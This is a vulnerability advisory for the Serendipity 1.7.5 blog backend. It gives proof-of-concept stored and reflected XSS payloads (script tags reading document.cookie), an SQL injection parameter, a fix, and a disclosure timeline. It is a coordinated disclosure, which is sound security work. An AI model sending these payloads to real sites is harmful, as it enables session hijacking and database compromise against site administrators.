Advisory:		Serendipity 1.7.5 - Multiple security vulnerabilities
Advisory ID:		SSCHADV2014-003
Author:			Stefan Schurtz
Affected Software:	Successfully tested on Serendipity 1.7.5
Vendor URL:		http://www.s9y.org/
Vendor Status:		fixed

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Vulnerability Description
==========================

The Serendipity 1.7.5 backend is prone to multiple security vulnerabilities

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PoC-Exploit
==========================

// Stored-XSS with "Real name"

(1) Login as "Standard editor" user
(2) Under "Personal Settings" set your "Real name" to "><script>alert(document.cookie)</script>

The XSS will be executed for the Administrator if he manages the users (Backend -> Administration -> Manage users)

// SQL-Injection - with "serendipity[install_plugin]"

http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[pluginPath]=serendipity_event_spamblock&serendipity[install_plugin]=[SQLi]

// Reflected XSS_1 - "serendipity[install_plugin]"

http://[target]/s/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[pluginPath]=&serendipity[install_plugin]=78524'%3b<script>alert(1)</script>%2f%2f912

// Reflected XSS_2 - "serendipity[id]"

POST http://[target]/serendipity/serendipity_admin.php?

serendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D="><script>alert(document.cookie)<%2fscript>&serendipity%5Btimestamp%5D=1391086127&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=0fb9473e000f67c7d530e0698c8ff2dc&serendipity%5Btitle%5D=test1&serendipity%5Bisdraft%5D=false&serendipity%5Bchk_timestamp%5D=1391086127&serendipity%5Bnew_timestamp%5D=2014-01-30+13%3A48&serendipity%5Bcategories%5D%5B%5D=0&serendipity%5Bbody%5D=test1&serendipity%5Ballow_comments%5D=true&serendipity%5Bextended%5D=

// Reflected XSS_3 - "serendipity[timestamp]"

POST http://[target]/serendipity/serendipity_admin.php?

serendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D="><script>alert(document.cookie)<%2fscript>&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=d9e231ef9eaeb5e58336806484de7600&serendipity%5Btitle%5D=test&serendipity%5Bisdraft%5D=false&serendipity%5Bchk_timestamp%5D=1391084636&serendipity%5Bnew_timestamp%5D=2014-01-30+13%3A23&serendipity%5Bcategories%5D%5B%5D=0&serendipity%5Bbody%5D=test%3Cstrong%3E%3C%2Fstrong%3E%3Cblockquote%3E%3C%2Fblockquote%3E&serendipity%5Ballow_comments%5D=true&serendipity%5Bmoderate_comments%5D=true&serendipity%5Bextended%5D

==========================
Solution
==========================

Upgrade to the latest version Serendipity 1.7.7

==========================
Disclosure Timeline
==========================

30-Jan-2014 - developer informed by email
30-Jan-2014 - feedback from developer
31-Jan-2014 - first diff tested
03-Feb-2014 - second diff tested
04-Feb-2014 - third diff tested
06-Feb-2014 - release of Serendipity 1.7.7

==========================
Credits
==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

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References
==========================

http://s9y.org/
http://blog.s9y.org/archives/253-Serendipity-1.7.7-released.html
http://www.darksecurity.de/advisories/2014/SSCHADV2014-003.txt